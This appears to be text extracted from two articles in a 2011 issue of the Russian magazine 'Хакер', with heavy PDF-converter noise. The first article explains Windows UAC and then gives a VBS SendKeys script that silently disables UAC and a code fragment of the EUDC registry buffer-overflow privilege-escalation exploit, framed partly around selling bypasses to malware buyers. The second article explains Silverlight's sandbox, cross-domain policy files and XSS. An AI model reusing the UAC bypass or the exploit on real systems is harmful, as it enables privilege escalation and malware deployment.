книги хакеры / журнал хакер / 149_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Отключение UAC через оснастку
UAC делитвсеисполняемыезадачинадвегруппы— те, которыемогутбытьисполненыобычнымипользователями, ите, которыевыполняютсятолькоадминистраторами. UAC незаметнодляадминистраторапереводитсистемуврежим непривилегированногопользователя, акогдатребуются праваадминистратора— появляетсясистемныйдиалог, черезкоторыйможновременноповыситьсвоиправа.
Иведьнадопризнать, чтовведениеUAC довольносильно обломалоначинающихинеоченькодеров, зарабатывающихсебенажизньразработкоймалвари, такчтона специальныхбордахзаказчикитеперьвпервуюочередь спрашиваютовозможностикодаработатьвVista/7 и обходитьUAC. Платилиидосихпорплатятзаэтовполне адекватныеденьги.
Немноголикбеза,иликак законнополучитьправаадмина
Определитьпотребностьсистемыиприложенийвадминистративныхправахможномножествомспособов. Один изних— командаконтекстногоменюиярлык«Запускот имениадминистратора» впользовательскоминтерфейсепроводника. Этиэлементысодержатцветнойзначок щита, которыйдолженбытьдобавленковсемкнопкамили пунктамменю, выборкоторыхприводиткповышениюправ. Привыбореэлемента«Запускотимениадминистратора» проводниквызываетAPI-функциюShellExecute скомандой
«runas».
Подавляющеебольшинствопрограммустановкитребуютадминистративныхправ, поэтомузагрузчикобразов, которыйинициируетзапускисполняемогофайла, содержит кодобнаруженияустановщиковдлявыявленияустаревших версий. Частьалгоритмовиспользуемойзагрузчикомэвристикидовольнопроста: онищетслова«setup», «install» или «update» вименифайлаобразаиливнутреннейинформацииоверсии. Болеесложныеалгоритмывключают просмотрвисполняемомфайлепоследовательностей байтов, обычноприменяемыхстороннимиразработчиками вслужебныхпрограммах— установочныхоболочках. Чтобыопределить, нуждаетсялицелевойисполняемыйфайлвправахадминистратора, загрузчикобразов такжевызываетбиблиотекусовместимостиприложений (appcompat). Библиотекаобращаетсякбазеданных совместимостиприложений, чтобыопределить, связанылисисполняемымфайломфлагисовместимости
RequireAdministrator илиRunAsInvoker.
Самыйобщийспособзапроситьдляисполняемогофайла административныеправа— добавитьвегофайлманифе-
Типичная реакция UAC на непонятные действия
стаприложениятегrequestedElevationLevel. Манифесты
— этоXML-файлы, содержащиедополнительныесведенияобобразе. ОнибыливведенывWindows XP какспособ определениязависимостейдляпараллельноиспользуе-
мыхбиблиотекDLL исборокMicrosoft .NET Framework.
НаличиевманифестеэлементаtrustInfo (онпоказанниже вофрагментедампаFirewallsettings.exe) означает, чтоисполняемыйфайлбылнаписандляWindows Vista исодер-
житэлементrequestedElevationLevel. Атрибутlevel этого элементаможетиметьодноизтрехзначений: asInvoker, highestAvailable иrequireAdministrator.
<trustInfo xmlns="urn:schema-microsoft-com:asm.v3"> <security>
<requestedPrivileges>
<requestedExecutionLevel
Level="requireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
Исполняемыефайлы, нетребующиеадминистративных прав, (напримерNotepad.exe), имеютзначениеатрибута asInvoker. Внекоторыхисполняемыхфайлахзаложено допущение, чтоадминистраторывсегдахотятполучить максимальныеправа. Поэтомувнихиспользуетсязначение highestAvailable. Пользователю, запускающемуисполняемыйфайлсэтимзначением, предлагаетсяповыситьправа, толькоеслионработаетврежимеAAM илирассматриваетсякакадминистраторсогласноопределеннымранее правилам, ивсвязисэтимдолженповыситьправадля обращенияксвоимадминистративнымпривилегиям. Примерамиприложений, длякоторыхиспользуется значениеhighestAvailable, могутслужитьпрограммы
Regedit.exe, Mmc.exe иEventvwr.exe. Наконец, значение requireAdministrator всегдаинициируетзапросповышения ииспользуетсявсемиисполняемымифайлами, которымне удастсявыполнитьсвоидействиябезадминистративных прав.
Вприложенияхсоспециальнымивозможностямиатрибуту uiAccess задаетсязначение«true» дляуправленияокном вводавпроцессахсповышеннымиправами. Крометого, дляобеспеченияэтихвозможностейонидолжныбыть подписаныинаходитьсяводномизнесколькихбезопасных размещений, включая%SystemRoot% и%ProgramFiles%.
Значения, задаваемыеисполняемымфайлом, можнолегкоопределить, просмотревегоманифестспомощьюслужебнойпрограммыSigcheck отSysinternals. Например: sigcheck –m <executable>. Призапускеобраза, который
DVD |
dvd
На DVD ты можешь найти код, реализующий тот самый эксплойт, который способен обломать
UAC в Windows 7. Он слегка подпорчен, но если ты не ламер (а ты ведь не такой?!), то тебе не составит труда найти в нем ошибки.
HTTP://WWW
links
Хочешь зарабатывать на поиске уязвимостей в различных программных продуктах? Go for zerodayinitiative.com
и получи от $1000 до $10 000 за найденную уязвимость!
INFO |
info
Все более и более убеждаюсь: не
умеешь пользоваться отладчиком — делать в сетевом хакинге тебе нечего!
XÀÊÅÐ 06 /149/ 2011 |
099 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Меняем настройки UAC
запрашиваетадминистративныеправа, службесведенийоприложении(известнатакжекакAIS, находитсяв%SystemRoot%\System32\ Appinfo.dll), работающейвпроцессеService Host (%SystemRoot%\ System32\Svchost.exe), предписываетсязапуститьпрограммуConsent. exe (%SystemRoot%\System32\Consent.exe). ПрограммаConsent соз-
даетснимокэкрана, применяеткнемуэффектзатемнения, переключаетсянарабочийстол, доступныйтолькосистемнойучетнойзаписи, устанавливаетзатемненныйснимоквкачествефонаиоткрываетдиалоговоеокноповышенияправ, содержащеесведенияобисполняемом файле. Выводнаотдельномрабочемстолепредотвращаетизменение этогодиалоговогоокналюбойвредоноснойпрограммой, работающей подучетнойзаписьюпользователя.
ЛеземвобходUAC
Итак, теперьотом, длячегомывсездесь, собственно, собрались. МожнолиобойтиUAC? Да, можно. Первоерешение, таксказать, лобовое. И основаноононатомудивительномфакте(илипросчетеразработчиков Windows?), чтоприизмененииполитикиUAC системеглубокофиолетово, какиктоименноэтоделает, человекприпомощиуказателямыши илижевседелаетсяпрограммнымспособом. Тоестьфактическисистеманеразличает, ктоименнопередвигаетзаветнуюстрелочку.
Этиммыивоспользуемся— чтонамстоитпрограммноотключить UAC? Ничего! Нопойдеммынетрадиционнымспособом— забудемо существующихвязыкахвысокогоуровнявродеС++ илиC# методахтипа SendKeys, авозьмемнавооружениепростойVBS-скрипт.
Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.SendKeys("^{ESC}")
WScript.Sleep(500) WshShell.SendKeys("change uac") WScript.Sleep(2000) WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000) WshShell.SendKeys("{TAB}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{TAB}") WshShell.SendKeys("{ENTER}")
'// Тут есть одна заковыка — чтобы выбранные изменения
'// вступили в силу, систему нужно перезагрузить
'// WshShell.Run "shutdown /r /f"
Да-да, всего-тоинужно, чтовоспользоватьсяблагамиWindows Script Host (WSH), где, кстати, сокрытоотглазогромноеразнообразиевозможностейдляуправлениясистемой, окоторыхчастенькозабывают. Нообэтомречьпойдетвдругойраз.
ВтороерешениеобходаUAC — тожепрограммное, нонелобовое, а основанноенауязвимостисамойсистемы.
Переполнениебуфера
Казалосьбы, какаясвязьмеждупереполнениембуфераиUAC? Оказывается, таящиесявWindows багипозволяютобойтиограниченияUAC иповыситьсвоиправа. Сегодняяпокажунаконкретном примере, какприпомощитривиальногопереполнениябуфераможно обойтиUAC идобитьсяадминистраторскихправ.
ЕстьтакаяWinAPI — RtlQueryRegistryValues (msdn.microsoft.com),
онаиспользуетсядлятого, чтобызапрашиватьмножественныезначенияизреестраоднимсвоимвызовом, чтоделаетсясиспользованиемспециальнойтаблицыRTL_QUERY_REGISTRY_TABLE, которая передаетсявкачестве__in__out параметра.
Самоеинтересное(ипостыдноедляразработчиковMicrosoft) вэтой API то, чтосуществуетопределенныйключреестра, которыйможно изменитьприпомощиограниченныхпользовательскихправ: HKCU\ EUDC\[Language]\SystemDefaultEUDCFont. Еслисменитьтипэтого ключанаREG_BINARY, товызовRtlQueryRegistryValues приведетк переполнениюбуфера.
КогдаядернаяAPI-функцияWin32k.sys!NtGdiEnableEudc запрашиваетключреестраHKCU\EUDC\[Language]\SystemDefaultEUDCFont,
оначестнопредполагает, чтоэтотключреестраимееттипREG_SZ, такчтовбуферпередаетсяструктураUNICODE_STRING, укоторойпервоеполеявляетсятипомULONG (гдепредставленадлина строки). Нотаккакмыможемизменитьтипэтогопараметрана REG_BINARY, тосистемуэтоставитвглубокийтупикионанепра-
вильноинтерпретируетдлинупередаваемогобуфера, чтоприводитк переполнениюстека.
Ключевой момент эксплойта
UINT codepage = GetACP(); TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0,
REG_BINARY, RegBuf, ExpSize); __try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegCloseKey(hKey);
Заключение
ОбойтиUAC можно. Нескажу, чтоэтолегко, ведьразработчикиWindows VIsta/W7 постаралисьнаславу, надоотдатьимдолжное. Новсеже лазейкиостаются. Можнонайтиодну-двекроличьихдыры, которые способнысвестинанетстараниякомандыWindows. Успехвэтомслучае приходитктем, ктоможетработатьсотладчикамиидебаггерамитипа
IDA Pro илиWinDBG.
Удачитебевтвоихстаранияхидапребудетстобойсила! z
100 |
XÀÊÅÐ 06 /149/ 2011 |
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
- |
|
|
|
|
d |
|
|||
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
|
|
|
|
BUY |
|
|
|||
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|||
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
ФОКУС-ГРУППА |
||
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
|
||
|
p |
|
|
|
g |
|
|
||
|
|
df |
|
n |
e |
|
|||
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Хочешьнетолькочитатьжурнал,ноивместеснамиделатьеголучше?Указатьнанашифейлыиливыразитьреспектзасделаннуюработу?Этолегко. Вступайврядынашейфокус-группыивыигрывайкласныеподаркиотжур- налаинашихпартнеров.
3самыхактивныхучастникафокус-группыполучатвэтоммесяцеподписки нажурналХакер:запервоеместо—на12месяцев,завторое—на6месяцев изатретье—на3месяца.
РЕКЛАМА
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
Всеволод Захаров (seva@vingrad.ru)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
SILVERLIGHT — ЗАЩИТА И НАПАДЕНИЕ
Проблемы безопасности Silverlight-контролов
Silverlight, потеснив Flash, занял свою нишу среди платформ для разработки web-приложений с насыщенным пользовательским интерфейсом. Конечно, возможность создания интерфейса, не уступающего по юзабилити и внешнему виду десктопным приложениям,
— это круто, но при создании web-приложения нельзя забывать о безопасности. Попробуем разобраться, насколько безопасно размещение Silverlight-контента на web-страницах.
ДовольнодолгодинамикаHTML-страницобеспечиваласьзасчет использованияJavaScript. Онидеальноподходитдляпроверки корректностизаполнения формипростыхманипуляцийсэлементамиDOM, ноJS неимеетдостаточныхвозможностейдляреализации по-настоящемуудобного, привлекательногоибыстрогопользовательскогоинтерфейса. Поэтомуипоявилисьплагиныдляпостроения такназываемыхRich Internet Application (RIA). Silverlight — одиниз такихбраузерныхплагинов. Послеочевидногопровалаплатформы ActiveX компанияMicrosoft приложиланемалоусилийдляразработки альтернативногорешения. Большоевниманиебылоуделено проблемебезопасности, таккакименнопроблемысбезопасностью, наряду сотсутствиемкроссплатформенности, привеликнеудачееепервой RIA-платформы.
Silverlight основананаплатформе.NET, азначит, Silverlight-
приложения— этоуправляемыйкод, что, согласись, ужепредставляет собойнекотороедостижениевпланебезопасностипосравнениюс ActiveX, вкотором, используянативныевызовы, можнобылотворить всечтоугодно.
МодельбезопасностиSilverlight
Silverlight следуетстандартнымпринципам, которыеприменяютсяпри расширениифункциональностиweb-контентаспомощьюплагинов браузера.
Предполагается, чтовсене-trusted (тоестьнеустановленныепользователемкакнадежные) Silverlight-приложенияпотенциальноопасны, иплагинограничиваетдоступэтихприложенийкресурсаммашины. ПриложениеSilverlight можетзапускатьсявтрехвозможныхрежимах,
длякоторыхиспользуютсяразличныеполитикибезопасности:
•in browser mode — управляемыйSilverlight-кодвыполняетсякак частьweb-страницыинаходитсяв«песочнице» (sandbox), равнокаки остальнойконтент, например, коднаJavaScript.
Этотрежимявляетсядефолтным, икогдаSL-контролдобавленна страницуспомощьютегаobject, используетсяименноон.
•out of browser mode — приложениеможетвыполнятьсявбраузере, а можетбытьустановленолокальнонамашинупользователя.
Этотвидприложенийтакжевыполняетсявпесочнице, идлянего существуютпрактическитежеограничения, чтоидляinbrowserприложений, нотакиеSL-контролыможнозапускатькакотдельные приложения.
•out of browser trusted mode — доверительныйрежимвыполнения Silverlight-кодапредоставляетемуполныйдоступкфайловойсистеме, сетиидругимресурсам, нодолженбытьподтвержденпользователем приустановкеприложения.
Наибольшуюпотенциальнуюопасностьпредставляютсобойприложенияin browser, посколькуонинетребуютотпользователяникаких дополнительныхдействийдлязапускаSilverlight-кода, аначинают работатьсразупослезагрузкиweb-страницы. Этотспособвыполнения Silverlight-кодасейчаснаиболеераспространен, поэтомуречьдальше пойдетвосновномотакихконтролах.
Sandbox
Приограничениидоступаsandboxed-приложенийкфункционально- стиплатформысуществуютдваосновныхпринципа:
• user initiated — доступприложенийкопределеннойфункционально-
102 |
XÀÊÅÐ 06 /149/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Основное применение Silverlight сейчас — создание Rich Internet Application
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Desktop
Applications Web
Applications
RIA
Communication
Technologies
сти(например, использованиеweb-камеры, котороесталовозможным вчетвертойверсииSilverlight) тольковответнадействияпользователя. ТоестьвовремяобработкисобытийKeyDown/KeyUp/MouseDown/ MouseUp.
Идеяпростая— контролнеможетскрытно, безучастияпользователя, совершатьпотенциальноопасныедействия. Есть, конечно, социальнаяинженерия, имногиеюзерымогут-такикликнутьнакнопку, не совсемпонимая, чтоотниххотят, ноэтоужедругойвопрос.
• same origin police — еслидвафайлазагруженысодногодоменного имени, считается, чтоониполученыизодногоисточника.
Навзаимодействиеобъектов, которыезагруженыизразныхисточников, накладываютсязначительныеограничения. Первому принципусоответствуютследующиетрифичисистемыбезопасности
Silverlight:
1. OpenFileDialog/SaveFileDialog — Silverlight позволяетприложениям читатьиписатьвфайлы, расположенныенамашинепользователя, нотолькопослетого, какпользовательвыберетихвстандартномдиалоговомокне. Причемприложениенеможетпредложитьдефолтное
имяфайлаикаталог. Дляфайлов, созданныхприложениямиSilverlight, будетдобавленатрибут«загруженизсети».
2.Webcam/Microphone – SL-приложениеначинаясверсии4.0 имеет доступкмикрофонуиweb-камере, которыеустановленынамашине пользователя, нотолькопослетого, какпользовательподтвердит это. Одинразполученноеразрешениедействует, покастраницас SL-приложениемнебудетзакрыта. Необходимостьтакогоограниченияпонятна: никомунехочется, чтобызанимподсматриваличерез web-камеру.
3.Clipboardaccess— начинаясверсии4.0 приложенияSilverlight могут получатьдоступксистемномубуферуобмена. Риск, которомуприэтом подвергаютсяданныепользователя, очевиден. Поэтомудоступкбуферу обменатакжедолженбытьразрешенпользователемвответназапрос Silverlight. Принципограничениякроссдоменногодоступаклокальным даннымвSilverlight оформленввидеisolated storage. Изолированное хранилищеданныхприложенийSilverlight позволяетстраницесохранятьданныевспециальномкаталогенажесткомдискеклиентской машины. ПриложенияSilverlight, загруженныесодногодомена, делят
XÀÊÅÐ 06 /149/ 2011 |
103 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
одноизолированноехранилищеиимеютдоступксохраненнымданным другдруга. Поумолчаниюнакаждыйдоменвыделяетсядо1 Мбдисковогопространства, ноэтотпределможетбытьувеличенпользователем позапросуприложения.
Сетевоевзаимодействие
Из-заналичияfirewall’овприложениеSilverlight, выполняемоенамашинепользователя, можетиметьдоступксерверам, ккоторымнеимеет доступаисточник, скоторогоонобылозагружено. ВцеляхпредотвращениянеавторизованногодоступаSL требует, чтобысторонниесервера имелифайлыкроссдоменнойполитики, хранящиесписокдоменов, с которыхразрешенокнимобращаться. Silverlight поддерживаетдватипа файлов, отвечающихзакроссдоменнуюполитику:
1.crossdomain.xml — файлкроссдоменнойполитики, которыйисполь- зуетFlash-плеер:
<?xml version="1.0"?> <cross-domain-policy> <allow-http-request-headers-from domain="*" headers="SOAPAction,Content-Type"/> </cross-domain-policy>
2.clientaccesspolicy.xml— собственныйформат, используемый
Silverlight:
<?xml version="1.0" encoding="utf-8"?> <access-policy>
<cross-domain-access> <policy>
<allow-from http-request-headers="SOAPAction"> <domain uri="*"/>
</allow-from> <grant-to>
<resource path="/" include-subpaths="true"/> </grant-to>
</policy> </cross-domain-access>
</access-policy>
Также, какдлятега<img> вHTML, объектыImage иMedia вSilverlight
способнызагружатьизображенияимедиафайлыслюбогодоменабез дополнительныхограничений. Нодляпредотвращенияутечкиинфор- мациинадомен-источникSL-приложения, ононеимеетдоступакконтентуэтихфайловидаженеможетточноопределить, естьфайлстаким именемилинет. ВдополнениекHTTP-запросам, Silverlight позволяет приложениямиспользоватьTCP/UDP-сокеты. Однакопорты, ккоторым будетконнектитьсяприложение, должныбытьявнопрописанывфайле кроссдоменнойполитики. Дляпредотвращенияконфликтасдругими сервисамидиапазонпортовограничен, иконнектитьсяможнокTCP/ UDP-портам4502-4534. Поддерживаютсятолькоисходящиесоединения. СоздатьслушающийсокетвSilverlight-приложенияхневозможно.
ДесктопныеприложенияSilverlight
Приложениеout of browser — этообычноеinbrowser-приложение Silverlight, котороепользовательустановилнасвоюмашинулокально, выбравпункт«install» изконтекстногоменюSilverlight. Какужебыло сказановыше, десктопныеSL-приложениямогутбытьлибоsandboxed, либоtrusted. ПесочницадлядесктопныхприложенийSilverlight создает тежеограничения, чтоидлябраузерныхSilverligt-контролов, кроме следующих:
•размеризолированногохранилищапоумолчаниюувеличендо25 Мб;
•можноизменятьразмерокнаприложения(вне-trusted приложениях этавозможностьзапрещена, чтобыпредотвратить«click jacking» атаку, когдаиз-заизмененияразмераокнапроисходиткликненатомэлемен- те, накоторомхотелкликнутьпользователь).
Чтокасаетсяtrusted-приложений, тоонизапускаютсявнепесочницыи
«Transparent» код Silverlight-контрола взаимодействует с ОС через два слоя безопасного кода Silverlight-платформы
Transparent Code
SafeCritical Code
Silverlight Code
SecurityCritical Code
получаютдоступкдополнительнойфункциональностиплатформы:
•возможностьвызоваметодовCOM-серверов;
•свободноечтение/записьфайлов;
•кроссдоменныезапросывозможныбезфайловкроссдоменнойполитикинасервере.
Нопосколькуtrusted Silverlight-приложениявсежепредставляютсобой управляемыйкод, онименееподверженытакимошибкамкакпереполнениебуфераилицелыхчисели, соответственно, болеебезопасны, чем нативные.
Эксплуатацияуязвимостей Silverlight-контролов
КакивслучаеJavaScript + HTML, прииспользованииSilverlight-
приложенийсуществуетвозможностьcross site scripting (XSS) атаки, когдаможноисполнятькоднамашинеклиентатак, какбудтоонбылза- груженссайта-жертвы. XSS открываетдоступккукам, изолированному хранилищуиинформацииобавторизациисайта-жертвы. Стандартное исполнениеXSS – этоинжектHTML/JavaScript-кодазасчетдырвоб- работкевводапользователясайта, которыйпередаетсянасервер. ВозможностьреализацииXSS-атакичерезSilverlight-контролыесть, но онаменеевероятна, чемвобычномHTML/JavaScript.
XSS обычнопроисходитиз-затого, чтозлоумышленникполучаетвозможностьдобавлятьстрокинастраницубезэкранированияHTMLтегов. ОднакоSilverlight-приложенияредкоформируетHTML- или XAML-кодпростымобъединениемстрок, тоесть, внихнамногочаще можновидеть
mybox.Text = badString;
вместо
XamlReader.Load("<TextBlock.Text= " + badString + "/>".
104 |
XÀÊÅÐ 06 /149/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
